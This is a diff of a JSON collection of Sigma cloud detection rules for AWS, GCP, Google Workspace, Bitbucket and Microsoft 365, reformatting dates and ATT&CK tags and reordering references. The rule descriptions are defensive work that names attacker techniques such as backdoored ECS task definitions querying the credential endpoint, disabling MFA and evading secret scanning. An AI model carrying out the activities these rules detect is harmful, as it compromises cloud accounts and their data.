@@ "description": "Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint.\nThis can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.\n", "meta": { "author": "Darin Smith", - "creation_date": "2022/06/07", + "creation_date": "2022-06-07", "falsepositive": [ "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" ], @@ -90250,9 +90546,9 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", - "https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html", "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html", + "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ecs_task_definition_cred_endpoint_query.yml" ], "tags": [ @@ -90276,7 +90572,7 @@ "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", "meta": { "author": "Diogo Braz", - "creation_date": "2020/04/16", + "creation_date": "2020-04-16", "falsepositive": "No established falsepositives", "filename": "aws_ec2_vm_export_failure.yml", "level": "low", @@ -90316,7 +90612,7 @@ "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", "meta": { "author": "faloker", - "creation_date": "2020/02/12", + "creation_date": "2020-02-12", "falsepositive": [ "Valid changes to the startup script" ], @@ -90365,7 +90661,7 @@ "description": "Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.", "meta": { "author": "Sean Johnstone | Unit 42", - "creation_date": "2023/10/28", + "creation_date": "2023-10-28", "falsepositive": [ "AWS administrator legitimately disabling bucket versioning" ], @@ -90398,7 +90694,7 @@ "description": "Detects the modification of the findings on SecurityHub.", "meta": { "author": "Sittikorn S", - "creation_date": "2021/06/28", + "creation_date": "2021-06-28", "falsepositive": [ "System or Network administrator behaviors", "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." @@ -90412,7 +90708,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_securityhub_finding_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -90432,7 +90728,7 @@ "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -90441,13 +90737,13 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://github.com/elastic/detection-rules/pull/1145/files", "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", - "https://github.com/elastic/detection-rules/pull/1145/files", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml" ], "tags": [ @@ -90471,7 +90767,7 @@ "description": "Detects the change of database master password. It may be a part of data exfiltration.", "meta": { "author": "faloker", - "creation_date": "2020/02/12", + "creation_date": "2020-02-12", "falsepositive": [ "Benign changes to a db instance" ], @@ -90504,7 +90800,7 @@ "description": "Detects AWS Config Service disabling", "meta": { "author": "vitaliy0x1", - "creation_date": "2020/01/21", + "creation_date": "2020-01-21", "falsepositive": [ "Valid change in AWS Config Service" ], @@ -90517,7 +90813,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_config_disable_recording.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -90537,7 +90833,7 @@ "description": "Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB).\nThis can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Repurposing of an ELB or ALB to serve a different or additional application", "Changes to security groups to allow for new services to be deployed" @@ -90551,7 +90847,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_loadbalancer.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -90571,7 +90867,7 @@ "description": "Detects activity when someone is changing passwords on behalf of other users.\nAn attacker with the \"iam:UpdateLoginProfile\" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\n", "meta": { "author": "toffeebr33k", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Legitimate user account administration" ], @@ -90604,7 +90900,7 @@ "description": "Detects changes to the security group entries for RDS databases.\nThis can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Creation of a new Database that needs new security group rules" ], @@ -90617,7 +90913,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_rds.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -90637,7 +90933,7 @@ "description": "Detects potentially suspicious events involving \"GetSigninToken\".\nAn adversary using the \"aws_consoler\" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.\n", "meta": { "author": "Chester Le Bron (@123Le_Bron)", - "creation_date": "2024/02/26", + "creation_date": "2024-02-26", "falsepositive": [ "GetSigninToken events will occur when using AWS SSO portal to login and will generate false positives if you do not filter for the expected user agent(s), see filter. Non-SSO configured roles would be abnormal and should be investigated." ], @@ -90646,12 +90942,12 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/", "https://github.com/NetSPI/aws_consoler", + "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_console_getsignintoken.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.007", "attack.t1550.001" ] @@ -90679,7 +90975,7 @@ "description": "Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of \"\".", "meta": { "author": "daniel.bohannon@permiso.io (@danielhbohannon)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Valid usage of S3 browser with accidental creation of default Inline IAM policy without changing default S3 bucket name placeholder value" ], @@ -90721,7 +91017,7 @@ "description": "Identifies when the Secrets are Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -90735,7 +91031,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", @@ -90745,7 +91041,7 @@ "description": "Detects when storage bucket is enumerated in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", + "creation_date": "2021-08-14", "falsepositive": [ "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -90769,7 +91065,7 @@ "description": "Identifies when a service account is modified in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", + "creation_date": "2021-08-14", "falsepositive": [ "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -90793,7 +91089,7 @@ "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/13", + "creation_date": "2021-08-13", "falsepositive": [ "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", "Exceptions can be added to this rule to filter expected behavior." @@ -90808,7 +91104,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -90828,7 +91124,7 @@ "description": "Detects when storage bucket is modified or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", + "creation_date": "2021-08-14", "falsepositive": [ "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -90852,7 +91148,7 @@ "description": "Detects when an access policy that is applied to a GCP cloud resource is deleted.\nAn adversary would be able to remove access policies to gain access to a GCP cloud resource.\n", "meta": { "author": "Bryan Lim", - "creation_date": "2024/01/12", + "creation_date": "2024-01-12", "falsepositive": [ "Legitimate administrative activities" ], @@ -90861,14 +91157,14 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ + "https://cloud.google.com/access-context-manager/docs/audit-logging", "https://cloud.google.com/logging/docs/reference/audit/auditlog/rest/Shared.Types/AuditLog", "https://cloud.google.com/logging/docs/audit/understanding-audit-logs", - "https://cloud.google.com/access-context-manager/docs/audit-logging", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_access_policy_deleted.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098" ] }, @@ -90888,7 +91184,7 @@ "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "VPN Tunnel being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -90913,7 +91209,7 @@ "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/13", + "creation_date": "2021-08-13", "falsepositive": [ "Full Network Packet Capture may be done by a system or network administrator.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -90948,7 +91244,7 @@ "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "Unknown" ], @@ -90971,7 +91267,7 @@ "description": "Detect when a Cloud SQL DB has been modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "SQL Database being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -90996,7 +91292,7 @@ "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", + "creation_date": "2021-11-25", "falsepositive": [ "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -91012,7 +91308,7 @@ "tags": [ "attack.persistence", "attack.t1078", - "attack.credential_access", + "attack.credential-access", "attack.t1552", "attack.t1552.007" ] @@ -91047,7 +91343,7 @@ "description": "Identifies when sensitive information is re-identified in google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "Unknown" ], @@ -91080,7 +91376,7 @@ "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -91091,14 +91387,14 @@ "logsource.product": "gcp", "refs": [ "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", "https://github.com/elastic/detection-rules/pull/1267", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_rolebinding.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", @@ -91108,7 +91404,7 @@ "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/22", + "creation_date": "2021-11-22", "falsepositive": [ "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -91118,14 +91414,14 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://cloud.google.com/kubernetes-engine/docs", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_cronjob.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.execution" ] }, @@ -91136,7 +91432,7 @@ "description": "Identifies when a service account is disabled or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", + "creation_date": "2021-08-14", "falsepositive": [ "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -91170,7 +91466,7 @@ "description": "Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.\n", "meta": { "author": "Bryan Lim", - "creation_date": "2024/01/12", + "creation_date": "2024-01-12", "falsepositive": [ "Unknown" ], @@ -91183,7 +91479,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_breakglass_container_workload_deployed.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1548" ] }, @@ -91203,7 +91499,7 @@ "description": "Detects when multi-factor authentication (MFA) is disabled.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "MFA may be disabled and performed by a system administrator." ], @@ -91213,8 +91509,8 @@ "logsource.product": "gcp", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml" ], "tags": [ @@ -91228,7 +91524,7 @@ "description": "Detects when an a role privilege is deleted in Google Workspace.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/24", + "creation_date": "2021-08-24", "falsepositive": [ "Unknown" ], @@ -91252,7 +91548,7 @@ "description": "Detects when an an application is removed from Google Workspace.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "Application being removed may be performed by a System Administrator." ], @@ -91261,8 +91557,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml" ], @@ -91277,7 +91573,7 @@ "description": "Detects when an access level is changed for a Google workspace application.\nAn access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model.\nAn adversary would be able to remove access levels to gain easier access to Google workspace resources.\n", "meta": { "author": "Bryan Lim", - "creation_date": "2024/01/12", + "creation_date": "2024-01-12", "falsepositive": [ "Legitimate administrative activities changing the access levels for an application" ], @@ -91292,7 +91588,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098.003" ] }, @@ -91312,7 +91608,7 @@ "description": "Detects when an API access service account is granted domain authority.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -91346,7 +91642,7 @@ "description": "Detects when an Google Workspace user is granted admin privileges.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Google Workspace admin role privileges, may be modified by system administrators." ], @@ -91380,7 +91676,7 @@ "description": "Detects when an a role is modified or deleted in Google Workspace.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/24", + "creation_date": "2021-08-24", "falsepositive": [ "Unknown" ], @@ -91404,7 +91700,7 @@ "description": "Detects user authentication failure events.\nPlease note that this rule can be noisy and it is recommended to use with correlation based on \"author.name\" field.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user wrong password attempts." ], @@ -91417,8 +91713,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_user_login_failure_detected.yml" ], "tags": [ - "attack.defense_evasion", - "attack.credential_access", + "attack.defense-evasion", + "attack.credential-access", "attack.t1078.004", "attack.t1110" ] @@ -91446,7 +91742,7 @@ "description": "Detects when secret scanning rule is deleted for the project or repository.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91460,7 +91756,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_secret_scanning_rule_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -91480,7 +91776,7 @@ "description": "Detects global permissions change activity.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91489,13 +91785,13 @@ "logsource.category": "No established category", "logsource.product": "bitbucket", "refs": [ - "https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html", "https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html", + "https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_global_permissions_change_detected.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1098" ] }, @@ -91515,7 +91811,7 @@ "description": "Detects Bitbucket global SSH access configuration changes.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91529,8 +91825,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_global_ssh_settings_change_detected.yml" ], "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", + "attack.lateral-movement", + "attack.defense-evasion", "attack.t1562.001", "attack.t1021.004" ] @@ -91558,7 +91854,7 @@ "description": "Detects user data export activity.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91567,8 +91863,8 @@ "logsource.category": "No established category", "logsource.product": "bitbucket", "refs": [ - "https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html", "https://support.atlassian.com/security-and-access-policies/docs/export-user-accounts", + "https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_user_details_export_attempt_detected.yml" ], "tags": [ @@ -91610,7 +91906,7 @@ "description": "Detects unauthorized access attempts to a resource.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Access attempts to non-existent repositories or due to outdated plugins. Usually \"Anonymous\" user is reported in the \"author.name\" field in most cases." ], @@ -91623,7 +91919,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_unauthorized_access_detected.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1586" ] }, @@ -91643,7 +91939,7 @@ "description": "Detects changes to the bitbucket audit log configuration.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91656,7 +91952,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_log_configuration_update_detected.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -91676,7 +91972,7 @@ "description": "Detects Bitbucket global secret scanning rule deletion activity.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91690,7 +91986,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_global_secret_scanning_rule_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -91710,7 +92006,7 @@ "description": "Detects when full data export is attempted.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91719,8 +92015,8 @@ "logsource.category": "No established category", "logsource.product": "bitbucket", "refs": [ - "https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html", "https://confluence.atlassian.com/adminjiraserver0811/importing-and-exporting-data-1019391889.html", + "https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_full_data_export_triggered.yml" ], "tags": [ @@ -91744,7 +92040,7 @@ "description": "Detects when full data export is attempted an unauthorized user.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Unlikely" ], @@ -91759,7 +92055,7 @@ ], "tags": [ "attack.collection", - "attack.resource_development", + "attack.resource-development", "attack.t1213.003", "attack.t1586" ] @@ -91787,7 +92083,7 @@ "description": "Detects when a secret scanning allowlist rule is added for projects.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91801,7 +92097,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_project_secret_scanning_allowlist_added.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -91821,7 +92117,7 @@ "description": "Detects SSH user login access failures.\nPlease note that this rule can be noisy and is recommended to use with correlation based on \"author.name\" field.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user wrong password attempts." ], @@ -91862,7 +92158,7 @@ "description": "Detects when a repository is exempted from secret scanning feature.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91876,7 +92172,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/bitbucket/audit/bitbucket_audit_secret_scanning_exempt_repository_detected.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -91896,7 +92192,7 @@ "description": "Detects user permission data export attempt.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Legitimate user activity." ], @@ -91946,7 +92242,7 @@ "description": "Detects the addition of a new Federated Domain.", "meta": { "author": "Splunk Threat Research Team (original rule), '@ionsor (rule)'", - "creation_date": "2022/02/08", + "creation_date": "2022-02-08", "falsepositive": [ "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." ], @@ -91955,11 +92251,11 @@ "logsource.category": "No established category", "logsource.product": "m365", "refs": [ + "https://www.sygnia.co/golden-saml-advisory", "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", "https://o365blog.com/post/aadbackdoor/", - "https://www.sygnia.co/golden-saml-advisory", "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/exchange/microsoft365_new_federated_domain_added_exchange.yml" ], "tags": [ @@ -91983,7 +92279,7 @@ "description": "Detects the addition of a new Federated Domain.", "meta": { "author": "Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." ], @@ -92017,7 +92313,7 @@ "description": "Detects disabling of Multi Factor Authentication.", "meta": { "author": "Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unlikely" ], @@ -92050,7 +92346,7 @@ "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -92064,7 +92360,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_infrequent_country.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1573" ] }, @@ -92084,7 +92380,7 @@ "description": "Detects when a Microsoft Cloud App Security reported a risky 